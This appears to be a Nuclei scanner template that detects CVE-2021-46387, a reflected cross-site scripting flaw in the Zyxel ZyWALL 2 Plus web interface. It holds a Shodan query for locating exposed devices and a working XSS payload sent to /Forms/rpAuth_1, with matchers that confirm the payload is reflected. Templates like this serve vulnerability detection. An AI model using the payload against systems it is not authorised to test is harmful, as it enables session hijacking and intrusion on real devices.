nuclei-templates/cves/2021/CVE-2021-46387.yaml

37 lines
1.1 KiB
YAML

id: CVE-2021-46387
info:
name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: ZyXEL ZyWALL 2 Plus Internet Security Appliance is affected by Cross Site Scripting (XSS). Insecure URI handling leads to bypass security restriction to achieve Cross Site Scripting, which allows an attacker able to execute arbitrary JavaScript codes to perform multiple attacks such as clipboard hijacking and session hijacking.
reference:
- https://www.exploit-db.com/exploits/50797
- https://nvd.nist.gov/vuln/detail/CVE-2021-46387
metadata:
shodan-query: http.title:"Zywall2Plus"
tags: cve,cve2021,xss,zyxel
requests:
- method: GET
path:
- '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<iMg src=x onerror="prompt(document.domain)"><form>'
- 'Entry Error'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200